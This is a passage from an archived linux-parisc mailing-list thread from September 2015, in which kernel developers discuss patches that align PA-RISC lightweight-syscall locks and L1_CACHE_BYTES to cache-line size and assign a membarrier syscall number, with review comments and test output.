 	/* Find lock to use, the hash is either one of 0 to
-	   15, multiplied by 16 (keep it 16-byte aligned)
+	   15, multiplied by L1_CACHE_BYTES (keep it L1 cache aligned)
 	   and add to the lock table offset. */
-	shlw	%r20, 4, %r20
+	shlw	%r20, L1_CACHE_SHIFT, %r20
 	add	%r20, %r28, %r20
 
 	rsm	PSW_SM_I, %r0			/* Disable interrupts */
@@ -931,11 +931,9 @@ END(sys_call_table64)
 ENTRY(lws_lock_start)
 	/* lws locks */
 	.rept 16
-	/* Keep locks aligned at 16-bytes */
+	/* Keep locks aligned to L1_CACHE_BYTES */
 	.word 1
-	.word 0 
-	.word 0
-	.word 0
+	.align	L1_CACHE_BYTES
 	.endr
 END(lws_lock_start)
 	.previous


diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 49df148..47b075c 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -15,7 +15,7 @@ static inline void
 _futex_spin_lock_irqsave(u32 __user *uaddr, unsigned long int *flags)
 {
 	extern u32 lws_lock_start[];
-	long index = ((long)uaddr & 0xf0) >> 2;
+	long index = (((long)uaddr & 0xf0) >> 4) << (L1_CACHE_SHIFT-2);
 	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
 	local_irq_save(*flags);
 	arch_spin_lock(s);
@@ -25,7 +25,7 @@ static inline void
 _futex_spin_unlock_irqrestore(u32 __user *uaddr, unsigned long int *flags)
 {
 	extern u32 lws_lock_start[];
-	long index = ((long)uaddr & 0xf0) >> 2;
+	long index = (((long)uaddr & 0xf0) >> 4) << (L1_CACHE_SHIFT-2);
 	arch_spinlock_t *s = (arch_spinlock_t *)&lws_lock_start[index];
 	arch_spin_unlock(s);
 	local_irq_restore(*flags);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Align locks for LWS syscalls to L1 cache size
Date: Wed, 02 Sep 2015 14:32:41 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <1441229561.2259.18.camel@HansenPartnership.com>
References: <20150902193840.GA4499@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441229569 22099 80.91.229.3 (2 Sep 2015 21:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2015 21:32:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	ohn David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 23:32:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXFe7-0001yC-CD
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Sep 2015 23:32:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756031AbbIBVcn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2015 17:32:43 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42293 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755960AbbIBVcn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2015 17:32:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id D0F268EE502;
	Wed,  2 Sep 2015 14:32:42 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id mrWShoB61_CR; Wed,  2 Sep 2015 14:32:42 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 72F2C8EE4DC;
	Wed,  2 Sep 2015 14:32:42 -0700 (PDT)
In-Reply-To: <20150902193840.GA4499@ls3530.box>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26004
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26004>

On Wed, 2015-09-02 at 21:38 +0200, Helge Deller wrote:
> Align the locks for the Light weight syscall (LWS) which is used for
> atomic userspace operations (e.g. gcc atomic builtins) on L1 cache
> boundaries. This should speed up LWS calls on PA20 systems.

Is there any evidence for this?  The architectural requirement for ldcw
on which all this is based is pegged at 16 bytes.  This implies that the
burst width on PA88/89 may indeed be 128 bytes, but the coherence width
for operations may still be 16 bytes.  If that speculation is true,
there's no speed at all gained by aligning ldcw to 128 bytes and all you
do is waste space.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Align locks for LWS syscalls to L1 cache size
Date: Thu, 3 Sep 2015 00:18:30 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <55E775B6.3040702@gmx.de>
References: <20150902193840.GA4499@ls3530.box>
 <1441229561.2259.18.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441232341 31640 80.91.229.3 (2 Sep 2015 22:19:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2015 22:19:01 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 03 00:18:47 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXGMd-0006EX-6V
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Sep 2015 00:18:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755200AbbIBWSn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2015 18:18:43 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53551 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752794AbbIBWSm (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2015 18:18:42 -0400
Original-Received: from [192.168.20.60] ([92.203.6.179]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0Ld3t6-1YpMt80wRk-00iFb0; Thu, 03 Sep 2015 00:18:34
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1441229561.2259.18.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:0YZyetl6djyy4bUEPraSR/lGNnE7sJRJaQKUUmlzX9RbIy8Dedh
 h6XreaIjlEXuGuUmA5vsn7e+3Pv3iZQiH9wk8tRlxUJFbQAtL7WpTPVog40g2IOI1LEXs0w
 7s9isV8bkrVms+vT1Rd4nbWiHXTcCdVgcIraWV/k6441PQDRSWqqvzC+HUC2m5pHljty61t
 Og1FVUBqDEWbjPVuZWDog==
X-UI-Out-Filterresults: notjunk:1;V01:K0:4TaqgnZmNDY=:rTO/Kejb0qPf5qryd9Eb3u
 5U8ohc2YxTilo23QTnE5NfwoVtmGpAJuVV/6A6cK+DoDGTflIikl0B/4mqo4AcwfsgvNKN2ec
 FFOHB+75elcGVKBOwJscuLR/JbCnpEEveQQXdHIADFe61QCXpcDctYdCueawjY+CtxfRRLtyw
 uPX9wS1Hb98G5qTSSzZT2awR73SPlS71EIPua36dItgWGXzuEFskwYpyNi6+znlyiDGaaQO4C
 nyBZgHwJhhq75wdahgNWmhqoZfcFIR4dhddgUqLs29RmHv45NU4wwN1ky7jFmJdzN4JzVL0pR
 xSNl1dLK5CZCyBSWMOSx5MiaWYBQCBmMOa1Z997MrFqSkUZamGo0my4ScxDAdy9HxdApVV4iP
 o93rSMizH9vf5G11prgaGpUruBDgjjHfwO7NcNZF1xQ3c6PjgiRHzXAkIHquJccTxOTbrfriB
 2vTlw6hhUQmNkK9kLaBr9JfRHayh5XzH9dxa1DyIab9PJ2jHiQSBwzSYhhFKM9GKmhBqorv1w
 rH9yAOcTrhyLzjpW1xABtG++8EKd0PazTDoMa27oorCt9LZIgkrr7wA8bzzHG9ChewdjJ/sAa
 Augqk6Q1FP2yizAQwBPhNxpyJ6FctKz7T8Qv/CgL2jC7EmT7MIXd0gU70wJzb6ozfI8hA2UV+
 ZdxtoU0GMuvwQHTSXddYcI8dXT/s6vWqtMkOjLBWMRUf/ZyTNziAbOETtOf1NF8fZaRaLfEx1
 HunFOJ41tdsW8j3FilfkCnMRSqF8HQljmay3Aw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26005
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26005>

On 02.09.2015 23:32, James Bottomley wrote:
> On Wed, 2015-09-02 at 21:38 +0200, Helge Deller wrote:
>> Align the locks for the Light weight syscall (LWS) which is used for
>> atomic userspace operations (e.g. gcc atomic builtins) on L1 cache
>> boundaries. This should speed up LWS calls on PA20 systems.
> 
> Is there any evidence for this?  The architectural requirement for ldcw
> on which all this is based is pegged at 16 bytes.  This implies that the
> burst width on PA88/89 may indeed be 128 bytes, but the coherence width
> for operations may still be 16 bytes.  If that speculation is true,
> there's no speed at all gained by aligning ldcw to 128 bytes and all you
> do is waste space.

Sure, we'll have to measure timings here...

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Ziegler <andreas.ziegler@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and PA8900
 CPUs
Date: Thu, 03 Sep 2015 11:23:55 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <55E811AB.6070002@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1441272830 8106 80.91.229.3 (3 Sep 2015 09:33:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Sep 2015 09:33:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	Valentin Rothberg <valentinrothberg@gmail.com>,
	Paul Bolle <pebolle@tiscali.nl>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 03 11:33:40 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXQtn-0003F3-1b
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Sep 2015 11:33:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752911AbbICJdj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Sep 2015 05:33:39 -0400
Original-Received: from mx-rz-3.rrze.uni-erlangen.de ([131.188.11.22]:50000 "EHLO
	mx-rz-3.rrze.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752775AbbICJdi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Sep 2015 05:33:38 -0400
X-Greylist: delayed 578 seconds by postgrey-1.27 at vger.kernel.org; Thu, 03 Sep 2015 05:33:37 EDT
Original-Received: from boeck1.rrze.uni-erlangen.de (boeck1.rrze.uni-erlangen.de [131.188.11.31])
	by mx-rz-3.rrze.uni-erlangen.de (Postfix) with ESMTP id 3n6Gsn2BYzzDVvt;
	Thu,  3 Sep 2015 11:23:57 +0200 (CEST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fau.de; s=fau-2013;
	t=1441272237; bh=jvF0r+u9rcOrSwDuB5zFSYviVUe4E5jJIP6jhBha6pM=;
	h=Date:From:To:CC:Subject:From;
	b=RMkxqcTScozaI8VGUcV8/YAENjy0vHBFJiLpV8CttV+LOvxwmM6SGIuRa5fPMyWa9
	 ZH1t8TvfYiA3wSsTitgKOuv31ve2y5p8hhYrh2hTrC3EZAY3PnR+WejGfR6iBMkl7W
	 P+jFPiBiBWoWfDsWfHbBegPBia11+grizkcm5r5BR9hdkaq9x+MXssDMBoJslcADdx
	 Eyd613YUTESg9k7HvqiKLamGTlHr6XUxPFSGn2oaLxC29iJzBEc5Hm1f++kREIA744
	 VxlXorBk5N5Os3hUSNsacvieOF/iwWZe8/t5rMW5lHoHg+QGToLwlEK7fWHIyKkMzR
	 27iRxa4OYz5XA==
X-Virus-Scanned: amavisd-new at boeck1.rrze.uni-erlangen.de (RRZE)
Original-Received: from mx-rz-3.rrze.uni-erlangen.de ([131.188.11.22])
	by boeck1.rrze.uni-erlangen.de (boeck1.rrze.uni-erlangen.de [131.188.11.31]) (amavisd-new, port 10026)
	with LMTP id YQDFKzb6cIQV; Thu,  3 Sep 2015 11:23:56 +0200 (CEST)
Original-Received: from mx-rz-smart.rrze.uni-erlangen.de (mx-rz-smart.rrze.uni-erlangen.de [IPv6:2001:638:a000:1025::1e])
	by mx-rz-3.rrze.uni-erlangen.de (Postfix) with ESMTP id 3n6Gsm0hc3zCjwv;
	Thu,  3 Sep 2015 11:23:56 +0200 (CEST)
X-RRZE-Submit-IP: 2001:638:a000:4142::ff0f:d304
Original-Received: from [IPv6:2001:638:a000:4142::ff0f:d304] (unknown [IPv6:2001:638:a000:4142::ff0f:d304])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	(Authenticated sender: U2FsdGVkX1/GPyP1+hv1lbBQ5Xjz6rVyzW3M4jBTtgU=)
	by smtp-auth.uni-erlangen.de (Postfix) with ESMTPSA id 3n6Gsl6t91zHnjR;
	Thu,  3 Sep 2015 11:23:55 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.8.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26006 gmane.linux.kernel:2031484
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26006>

Hi Helge,

today's linux-next tree (next-20150903) contains commit 20f924902ff6
("parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and PA8900 CPUs")
which you authored.

I noticed it because we[0] are running a daily analysis on all commits
in linux-next as part of our research and our tools reported it.

In the patch, you create the following #if defined() structure in
arch/parisc/include/asm/cache.h (lines 16 and following):

 #if defined(CONFIG_PA8X00)
  ...
 #elif defined(CONFIG_PA20)
  ...
 #else
  ...
 #endif

In Kconfig, CONFIG_PA20 is defined as the following
(arch/parisc/Kconfig, line 163):

config PA20
  def_bool y
  depends on PA8X00

This means that CONFIG_PA20 can and will only be enabled if
CONFIG_PA8X00 has already been enabled, which means that the contents of
the "#elif defined(CONFIG_PA20)" block can never be reached: its
condition is only evaluated if CONFIG_PA8X00 is disabled, but then
CONFIG_PA20 can never be enabled either.

Best regards,

Andreas

[0] https://cados.cs.fau.de
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [RFC PATCH 9/9] parisc: allocate sys_membarrier system call
 number
Date: Thu, 3 Sep 2015 14:26:10 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <trinity-920d5daa-933d-4e50-bd13-713e544e93c4-1441283170751@3capp-gmx-bs04>
References: <1440698215-8355-1-git-send-email-mathieu.desnoyers@efficios.com>,
 <1440698215-8355-10-git-send-email-mathieu.desnoyers@efficios.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1441283194 15618 80.91.229.3 (3 Sep 2015 12:26:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Sep 2015 12:26:34 +0000 (UTC)
Cc: "Andrew Morton" <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	"James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: "Mathieu Desnoyers" <mathieu.desnoyers-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Sep 03 14:26:27 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1ZXTaz-0004XD-56
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Thu, 03 Sep 2015 14:26:25 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1754715AbbICM0S (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Thu, 3 Sep 2015 08:26:18 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:49358 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753273AbbICM0R (ORCPT <rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Thu, 3 Sep 2015 08:26:17 -0400
Original-Received: from [155.56.68.219] by 3capp-gmx-bs04.server.lan (via HTTP); Thu,
 3 Sep 2015 14:26:10 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <1440698215-8355-10-git-send-email-mathieu.desnoyers-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:P0Q360iR/xa1o7J1v10OJ2ZQlzsyXsvljHN9R7kjD+H
 NBgYBO+KgCZcBm23IQk/mgtznsXsCZnUrpBk43JhPZOFBeGmzb
 fo3KWzMLx8QYOE+S7VZ6lPWuLQHHbg240VwhuzBX2pSXa4yRuW
 ZzsSSitFPdkWLZ9N48/tdPq1DiRzumjWF/Lnut+b+i3OpSLUV2
 hA/H9tEodZ5lnXoEXvBiucGe6K0/7DwhFm4zIck8HnCTXFEYKR
 BiOiMRBZTsbkSyRWr3UtdIEKTlb3c+aP2YV5PcJcH11fNR0c7R oP/MBY=
X-UI-Out-Filterresults: notjunk:1;V01:K0:iWfdY+Hrncc=:jpw3wEWIPQukrjwKOyGzGc
 DenPpdrgaQsJYHaSkg5Kfh1PPKwX0Mu1FlI3URKAsoiJ5Cd3/AUdMaWNb5Zq02pepwRElGCni
 pwdmyxpVniA1LFNHXnrflYHzY5KqpekKVDlOX2GLtI9L5xBMW/bjBhbjx0vkgvGaeB4nFTasn
 LtXAW4ZmXWyiA/qYIMej5AvTvhtTAQUMUvhXct4yxfg2J7/gY5chBPKcryTVNHyzZ8Bk/R/67
 olVdHEcvs19qO6Kiq3aOE/Ld0wqozjY2Nu/4GhKllipu0TYtNVdmpffsSHMxQP2vJkd0JIGiu
 5sSM+4EE61FPTtNbzs901KoZ256Anox6QXVTc0ziN3rldXacVSO7o6meQ/4ZI8sM11gOI08pq
 gJVXM7/AadCgksNLfpqleU8qFBpdt2cvQF+low4HOKehHN1Pkk18puJXd5uvbph9povARdX+X
 3BCcVDuiRg==
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:13808 gmane.linux.kernel:2031578 gmane.linux.ports.parisc:26007
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/13808>

Hi Mathieu,

> [ Untested on this architecture. To try it out: fetch linux-next/akpm,
>   apply this patch, build/run a membarrier-enabled kernel, and do make
>   kselftest. ]
> 
> Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers-vg+e7yoeK/dWk0Htik3J/w@public.gmane.org>
> CC: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
> CC: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> CC: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
> CC: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
> CC: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
> ---
>  arch/parisc/include/uapi/asm/unistd.h | 3 ++-
>  arch/parisc/kernel/syscall_table.S    | 1 +
>  2 files changed, 3 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
> index 2e639d7..dadcada 100644
> --- a/arch/parisc/include/uapi/asm/unistd.h
> +++ b/arch/parisc/include/uapi/asm/unistd.h
> @@ -358,8 +358,9 @@
>  #define __NR_memfd_create	(__NR_Linux + 340)
>  #define __NR_bpf		(__NR_Linux + 341)
>  #define __NR_execveat		(__NR_Linux + 342)
> +#define __NR_membarrier		(__NR_Linux + 343)
>  
> -#define __NR_Linux_syscalls	(__NR_execveat + 1)
> +#define __NR_Linux_syscalls	(__NR_membarrier + 1)
>  
>  
>  #define __IGNORE_select		/* newselect */
> diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
> index 8eefb12..2faa43b 100644
> --- a/arch/parisc/kernel/syscall_table.S
> +++ b/arch/parisc/kernel/syscall_table.S
> @@ -438,6 +438,7 @@
>  	ENTRY_SAME(memfd_create)	/* 340 */
>  	ENTRY_SAME(bpf)
>  	ENTRY_COMP(execveat)
> +	ENTRY_COMP(membarrier)

This needs to be ENTRY_SAME(membarrier), since you don't have/need a compat_membarrier() function.

After changing to ENTRY_SAME() I did run the kselftest on parisc: 
deller@ls3xx> ./membarrier_test 
membarrier MEMBARRIER_CMD_QUERY syscall available.
membarrier: MEMBARRIER_CMD_SHARED success.
membarrier: tests done!

Helge

From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800
 and PA8900 CPUs
Date: Thu, 03 Sep 2015 06:30:43 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <1441287043.2235.6.camel@HansenPartnership.com>
References: <20150902162000.GC2444@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441287055 16303 80.91.229.3 (3 Sep 2015 13:30:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Sep 2015 13:30:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 03 15:30:47 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXUbG-0002SK-KS
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Sep 2015 15:30:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752984AbbICNaq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Sep 2015 09:30:46 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44077 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752491AbbICNap (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Sep 2015 09:30:45 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 809B08EE502;
	Thu,  3 Sep 2015 06:30:44 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6Nw-MDejzS6y; Thu,  3 Sep 2015 06:30:44 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id F385F8EE08E;
	Thu,  3 Sep 2015 06:30:43 -0700 (PDT)
In-Reply-To: <20150902162000.GC2444@ls3530.box>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26008>

On Wed, 2015-09-02 at 18:20 +0200, Helge Deller wrote:
> PA8800 and PA8900 processors have a cache line length of 128 bytes.
> 
> Reported-by: John David Anglin <dave.anglin@bell.net>
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/asm/cache.h
> index 47f11c7..a775f60 100644
> --- a/arch/parisc/include/asm/cache.h
> +++ b/arch/parisc/include/asm/cache.h
> @@ -7,17 +7,19 @@
>  
> 
>  /*
> - * PA 2.0 processors have 64-byte cachelines; PA 1.1 processors have
> - * 32-byte cachelines.  The default configuration is not for SMP anyway,
> - * so if you're building for SMP, you should select the appropriate
> - * processor type.  There is a potential livelock danger when running
> - * a machine with this value set too small, but it's more probable you'll
> - * just ruin performance.
> + * Most PA 2.0 processors have 64-byte cachelines, but PA8800 and PA8900
> + * processors have a cache line length of 128 bytes.
> + * PA 1.1 processors have 32-byte cachelines.
> + * There is a potential livelock danger when running a machine with this value
> + * set too small, but it's more probable you'll just ruin performance.
>   */
> -#ifdef CONFIG_PA20
> +#if defined(CONFIG_PA8X00)
> +#define L1_CACHE_BYTES 128
> +#define L1_CACHE_SHIFT 7
> +#elif defined(CONFIG_PA20)
>  #define L1_CACHE_BYTES 64
>  #define L1_CACHE_SHIFT 6
> -#else
> +#else /* PA7XXX */
>  #define L1_CACHE_BYTES 32
>  #define L1_CACHE_SHIFT 5
>  #endif
> 
> diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
